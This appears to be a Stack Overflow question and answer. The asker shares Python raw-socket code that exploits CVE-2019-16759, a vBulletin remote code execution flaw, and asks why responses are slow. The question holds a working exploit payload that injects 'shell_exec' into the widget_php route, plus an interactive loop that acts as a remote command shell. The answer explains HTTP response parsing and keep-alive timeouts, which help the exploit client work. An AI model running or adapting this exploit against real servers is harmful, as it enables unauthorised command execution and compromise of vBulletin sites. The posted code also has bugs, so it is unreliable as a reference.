DL_Engineer
DL_Engineer

Reputation: 69

Raw Sockets taking 5 seconds for a response on localhost

I am trying to create a raw socket implementation of the CVE-2019-16759 proof of concept.

When my code runs, it makes the correct POST request, and gets back the response [looking at WireShark I can confirm this], but it takes 5 seconds, while the non-socket implementation is instant.

I've noticed that the POST request has this "continuation" part in the packet info, that I don't see when running the proof of concept.

image

My socket library that creates the POST request:

import socket
import urllib.parse

class socket_http:

    req = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    def __init__(self, HOSTURL, PORT=80, COMMAND="id"):
        self.parsedURL = urllib.parse.urlparse(HOSTURL)
        self.PORT = PORT
        self.cmd = COMMAND
        self.req.connect((self.parsedURL.netloc,PORT))

    def closeSocket(self):
        self.req.close()

    def post(self, URL, connectionType="", HTTP_version="1.1"):
        postURL = urllib.parse.urlparse(URL)

        postReq = ""
        if postURL.path == "":
            postReq += "POST / HTTP/" + HTTP_version + "\r\n"
        else:
            postReq += "POST " + postURL.path + " HTTP/" + HTTP_version + "\r\n"
        postReq += "Host: " + postURL.netloc + ":" + str(self.PORT) + "\r\n"
        postReq += "User-Agent: python-requests/2.21.0\r\n"
        postReq += "Accept-Encoding: gzip, deflate\r\n"
        postReq += "Accept: */*\r\n"
        postReq += "Connection: keep-alive\r\n"
        postReq += "Content-Length: " + str(len("routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('" + self.cmd + "'); exit;")) + "\r\n"
        postReq += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
        postReq += "routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('" + self.cmd + "'); exit;\r\n"

        self.req.send(postReq.encode())

        chunks = []
        while True:
            chunk = self.req.recv(int(1024)).decode()
            if chunk:
                chunks.append(1024)
            else:
                break

        return ''.join(chunks)

My code that runs the exploit:

from socket_req import socket_http as socket
import sys

HOST = "http://127.0.0.1"
PORT = 82

while True:
    try:
        session = socket(HOST, PORT)
        session.cmd = input("$hell~")
        print(session.cmd)
        answer = session.post(HOST)
        print(answer)
        session.closeSocket()
    except KeyboardInterrupt as e:
        session.closeSocket()
        sys.exit("\nClosing shell...")
    except Exception as e:
        session.closeSocket()
        sys.exit(str(e))

I want to find the root issue to why the request is taking so long to reply compared to the POC, which is instant (you can see in the WireShark capture that the POST request was sent at 2.3 seconds and the reply comes at 7.3 seconds). When I run this script, this is what happens:

$hell~ls
ls
'utf-8' codec can't decode byte 0x8b in position 274: invalid start byte

I believe there are two issues here, the first being the long delay and the second being the "invalid start byte" error.

Upvotes: 0

Views: 460

Answers (1)

Remy Lebeau
Remy Lebeau

Reputation: 597205

Your client code is not parsing the server's response at all. It is just blindly reading arbitrary chunks of data until there is nothing left to read.

You need to PARSE THE RESPONSE in order to know:

  • how much data is actually being sent.

  • in what encoding format the data is being sent (in particular, whether HTTP's Transfer-Encoding: chunked encoding is being used or not).

  • whether the server leaves the connection open or closes it after sending the response.

You need to parse the response to know when you have reached the end of the response and should STOP READING. Refer to RFC 2616 Section 4.4 and RFC 7230 Section 3.3 for the proper rules you need to follow to detect the end of the response (look at the pseudo code in this answer to When is an HTTP response finished?).

Since your client is sending Connection: keep-alive in its request, the server is likely actually keeping the connection open (ie, there is no Connection: close header in the response), in which case your client would just sit there idle waiting for more data to arrive after it has reached the end of the response. Eventually, the server will close the connection when the client doesn't send a new HTTP request over the same connection (check if the response has a Keep-Alive header specifying a timeout interval). That would account for the delay you are experiencing.

If you are not going to parse the response to detect the proper end of transmission, then try sending Connection: close instead in your HTTP request so the server will close the connection at the end of the response, breaking your reading loop immediately at the end of the response. You would still need to handle Transfer-Encoding: chunked properly, though.

Only once you reach the end of the response, and have buffered all of the raw body data, can you then decode() the complete data. You are trying to decode() each arbitrary block of raw bytes, which will not work for multi-byte charsets like UTF-8 if byte sequences straddle across block boundaries. It also won't work correctly if you don't account for, and strip off, any HTTP chunked boundaries.

Upvotes: 1

Related Questions